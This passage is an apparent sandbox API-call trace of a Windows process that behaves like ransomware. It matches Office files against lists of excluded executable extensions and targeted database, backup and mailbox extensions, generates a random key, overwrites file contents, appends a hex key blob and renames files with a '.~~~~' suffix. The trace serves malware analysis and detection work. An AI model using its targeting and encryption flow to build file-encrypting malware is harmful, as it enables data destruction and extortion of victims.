	[0140.335] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".mdt") returned 0x0
	[0140.335] lstrlenW (lpString=".BDB") returned 4
	[0140.335] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".BDB") returned 0x0
	[0140.335] lstrlenW (lpString=".eql") returned 4
	[0140.335] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".eql") returned 0x0
	[0140.335] lstrlenW (lpString=".DBF") returned 4
	[0140.335] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".DBF") returned 0x0
	[0140.335] lstrlenW (lpString=".EQL") returned 4
	[0140.349] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".EQL") returned 0x0
	[0140.349] lstrlenW (lpString=".FDB") returned 4
	[0140.349] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".FDB") returned 0x0
	[0140.349] lstrlenW (lpString=".EDB") returned 4
	[0140.349] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".EDB") returned 0x0
	[0140.349] lstrlenW (lpString=".DACPAC") returned 7
	[0140.349] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".DACPAC") returned 0x0
	[0140.362] lstrlenW (lpString=".VHD") returned 4
	[0140.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".VHD") returned 0x0
	[0140.362] lstrlenW (lpString=".DBV") returned 4
	[0140.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".DBV") returned 0x0
	[0140.362] lstrlenW (lpString=".dacpac") returned 7
	[0140.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".dacpac") returned 0x0
	[0140.362] lstrlenW (lpString=".sdf") returned 4
	[0140.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".sdf") returned 0x0
	[0140.362] lstrlenW (lpString=".accdb") returned 6
	[0140.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".accdb") returned 0x0
	[0140.362] lstrlenW (lpString=".DBX") returned 4
	[0140.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".DBX") returned 0x0
	[0140.362] lstrlenW (lpString=".MDT") returned 4
	[0140.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".MDT") returned 0x0
	[0140.363] lstrlenW (lpString=".SQB") returned 4
	[0140.363] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".SQB") returned 0x0
	[0140.363] lstrlenW (lpString=".vhd") returned 4
	[0140.363] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".vhd") returned 0x0
	[0140.363] lstrlenW (lpString=".bac") returned 4
	[0140.363] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".bac") returned 0x0
	[0140.363] lstrlenW (lpString=".mdf") returned 4
	[0140.363] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".mdf") returned 0x0
	[0140.363] lstrlenW (lpString=".BAK") returned 4
	[0140.363] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".BAK") returned 0x0
	[0140.363] lstrlenW (lpString=".BAC") returned 4
	[0140.363] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".BAC") returned 0x0
	[0140.363] lstrlenW (lpString=".dbs") returned 4
	[0140.363] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".dbs") returned 0x0
	[0140.363] lstrlenW (lpString=".vhdx") returned 5
	[0140.363] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".vhdx") returned 0x0
	[0140.363] lstrlenW (lpString=".NDF") returned 4
	[0140.363] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".NDF") returned 0x0
	[0140.363] lstrlenW (lpString=".dat") returned 4
	[0140.363] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".dat") returned 0x0
	[0140.363] lstrlenW (lpString=".DBS") returned 4
	[0140.363] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".DBS") returned 0x0
	[0140.363] lstrlenW (lpString=".CKP") returned 4
	[0140.363] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".CKP") returned 0x0
	[0140.363] lstrlenW (lpString=".edb") returned 4
	[0140.363] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".edb") returned 0x0
	[0140.363] lstrlenW (lpString=".PST") returned 4
	[0140.363] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".PST") returned 0x0
	[0140.364] lstrlenW (lpString=".dbf") returned 4
	[0140.364] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".dbf") returned 0x0
	[0140.364] lstrlenW (lpString=".SQL") returned 4
	[0140.364] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".SQL") returned 0x0
	[0140.364] lstrlenW (lpString=".pst") returned 4
	[0140.364] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".pst") returned 0x0
	[0140.364] lstrlenW (lpString=".dbv") returned 4
	[0140.364] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".dbv") returned 0x0
	[0140.364] lstrlenW (lpString=".SDF") returned 4
	[0140.364] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".SDF") returned 0x0
	[0140.364] lstrlenW (lpString=".dtxs") returned 5
	[0140.364] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".dtxs") returned 0x0
	[0140.364] lstrlenW (lpString=".db3") returned 4
	[0140.364] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".db3") returned 0x0
	[0140.364] lstrlenW (lpString=".OST") returned 4
	[0140.364] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".OST") returned 0x0
	[0140.364] lstrlenW (lpString=".dbx") returned 4
	[0140.364] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".dbx") returned 0x0
	[0140.364] lstrlenW (lpString=".DB3") returned 4
	[0140.364] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".DB3") returned 0x0
	[0140.364] lstrlenW (lpString=".DAT") returned 4
	[0140.364] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".DAT") returned 0x0
	[0140.364] lstrlenW (lpString=".VHDX") returned 5
	[0140.364] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".VHDX") returned 0x0
	[0140.364] lstrlenW (lpString=".ndf") returned 4
	[0140.364] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".ndf") returned 0x0
	[0140.364] lstrlenW (lpString=".DB") returned 3
	[0140.364] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".DB") returned 0x0
	[0140.364] lstrlenW (lpString=".sql") returned 4
	[0140.365] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".sql") returned 0x0
	[0140.365] lstrlenW (lpString=".MYD") returned 4
	[0140.365] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".MYD") returned 0x0
	[0140.365] lstrlenW (lpString=".DBT") returned 4
	[0140.365] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".DBT") returned 0x0
	[0140.365] lstrlenW (lpString=".ACCDB") returned 6
	[0140.365] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".ACCDB") returned 0x0
	[0140.365] lstrlenW (lpString=".fdb") returned 4
	[0140.365] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".fdb") returned 0x0
	[0140.365] lstrlenW (lpString=".bak") returned 4
	[0140.365] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".bak") returned 0x0
	[0140.365] lstrlenW (lpString=".myd") returned 4
	[0140.365] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".myd") returned 0x0
	[0140.365] lstrlenW (lpString=".DTXS") returned 5
	[0140.365] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".DTXS") returned 0x0
	[0140.365] lstrlenW (lpString=".ckp") returned 4
	[0140.365] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".ckp") returned 0x0
	[0140.365] lstrlenW (lpString=".dbt") returned 4
	[0140.365] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".dbt") returned 0x0
	[0140.365] lstrlenW (lpString=".db") returned 3
	[0140.365] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".db") returned 0x0
	[0140.365] lstrlenW (lpString=".TXT") returned 4
	[0140.365] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".TXT") returned 0x0
	[0140.365] lstrlenW (lpString=".MDF") returned 4
	[0140.365] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".MDF") returned 0x0
	[0140.365] lstrlenW (lpString=".bdb") returned 4
	[0140.365] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".bdb") returned 0x0
	[0140.365] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0140.365] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0140.365] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0140.365] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0140.366] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0140.366] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0140.366] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0140.367] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0140.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0140.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0140.367] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26035687300) returned 1
	[0140.367] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbd126f30, dwHighDateTime=0x1d60e1e)) 
	[0140.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0140.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0140.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0140.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e51c0
	[0140.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0140.367] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e51c0 | out: hHeap=0x300000) returned 1
	[0140.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0140.367] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0140.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29b09d0
	[0140.367] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0140.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6380
	[0140.367] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b09d0 | out: hHeap=0x300000) returned 1
	[0140.367] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0140.368] GetLastError () returned 0x0
	[0140.368] GetLastError () returned 0x0
	[0140.368] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0140.368] GetLastError () returned 0x0
	[0140.368] GetLastError () returned 0x0
	[0140.368] ReadFile (in: hFile=0x108, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x24dfec0*=0x399f, lpOverlapped=0x0) returned 1
	[0140.370] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xffffc661, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.370] WriteFile (in: hFile=0x108, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x399f, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x399f, lpOverlapped=0x0) returned 1
	[0140.370] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0140.370] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.371] WriteFile (in: hFile=0x108, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0140.371] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0140.371] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0140.371] CloseHandle (hObject=0x108) returned 1
	[0140.371] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29b09d0
	[0140.371] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir16f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir16f.gif.~~~~")) returned 1
	[0140.373] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b09d0 | out: hHeap=0x300000) returned 1
	[0140.373] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0140.373] GetLastError () returned 0x0
	[0140.374] RtlWakeConditionVariable () returned 0x0
	[0140.374] GetCurrentThreadId () returned 0x3a4
	[0140.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".scr") returned 0x0
	[0140.374] lstrlenW (lpString=".cmd") returned 4
	[0140.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".cmd") returned 0x0
	[0140.374] lstrlenW (lpString=".dll") returned 4
	[0140.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".dll") returned 0x0
	[0140.374] lstrlenW (lpString=".bat") returned 4
	[0140.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".bat") returned 0x0
	[0140.374] lstrlenW (lpString=".cpl") returned 4
	[0140.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".cpl") returned 0x0
	[0140.374] lstrlenW (lpString=".sys") returned 4
	[0140.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".sys") returned 0x0
	[0140.374] lstrlenW (lpString=".msc") returned 4
	[0140.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".msc") returned 0x0
	[0140.374] lstrlenW (lpString=".com") returned 4
	[0140.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".com") returned 0x0
	[0140.374] lstrlenW (lpString=".lnk") returned 4
	[0140.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".lnk") returned 0x0
	[0140.374] lstrlenW (lpString=".msp") returned 4
	[0140.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".msp") returned 0x0
	[0140.374] lstrlenW (lpString=".pif") returned 4
	[0140.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".pif") returned 0x0
	[0140.374] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0140.374] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0140.374] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir19f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0140.376] lstrlenW (lpString=".sqb") returned 4
	[0140.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".sqb") returned 0x0
	[0140.376] lstrlenW (lpString=".ost") returned 4
	[0140.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".ost") returned 0x0
	[0140.376] lstrlenW (lpString=".txt") returned 4
	[0140.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".txt") returned 0x0
	[0140.376] lstrlenW (lpString=".mdt") returned 4
	[0140.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".mdt") returned 0x0
	[0140.376] lstrlenW (lpString=".BDB") returned 4
	[0140.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".BDB") returned 0x0
	[0140.377] lstrlenW (lpString=".eql") returned 4
	[0140.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".eql") returned 0x0
	[0140.377] lstrlenW (lpString=".DBF") returned 4
	[0140.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".DBF") returned 0x0
	[0140.377] lstrlenW (lpString=".EQL") returned 4
	[0140.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".EQL") returned 0x0
	[0140.377] lstrlenW (lpString=".FDB") returned 4
	[0140.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".FDB") returned 0x0
	[0140.377] lstrlenW (lpString=".EDB") returned 4
	[0140.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".EDB") returned 0x0
	[0140.377] lstrlenW (lpString=".DACPAC") returned 7
	[0140.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".DACPAC") returned 0x0
	[0140.377] lstrlenW (lpString=".VHD") returned 4
	[0140.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".VHD") returned 0x0
	[0140.377] lstrlenW (lpString=".DBV") returned 4
	[0140.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".DBV") returned 0x0
	[0140.377] lstrlenW (lpString=".dacpac") returned 7
	[0140.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".dacpac") returned 0x0
	[0140.377] lstrlenW (lpString=".sdf") returned 4
	[0140.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".sdf") returned 0x0
	[0140.377] lstrlenW (lpString=".accdb") returned 6
	[0140.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".accdb") returned 0x0
	[0140.377] lstrlenW (lpString=".DBX") returned 4
	[0140.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".DBX") returned 0x0
	[0140.377] lstrlenW (lpString=".MDT") returned 4
	[0140.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".MDT") returned 0x0
	[0140.377] lstrlenW (lpString=".SQB") returned 4
	[0140.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".SQB") returned 0x0
	[0140.377] lstrlenW (lpString=".vhd") returned 4
	[0140.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".vhd") returned 0x0
	[0140.378] lstrlenW (lpString=".bac") returned 4
	[0140.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".bac") returned 0x0
	[0140.378] lstrlenW (lpString=".mdf") returned 4
	[0140.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".mdf") returned 0x0
	[0140.378] lstrlenW (lpString=".BAK") returned 4
	[0140.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF", lpSrch=".BAK") returned 0x0
	[0140.378] lstrlenW (lpString=".BAC") returned 4
